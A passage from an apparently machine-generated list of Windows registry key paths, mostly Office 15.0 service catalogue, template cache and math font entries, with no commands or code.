  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1498. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1500. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\\Blob",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1557. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
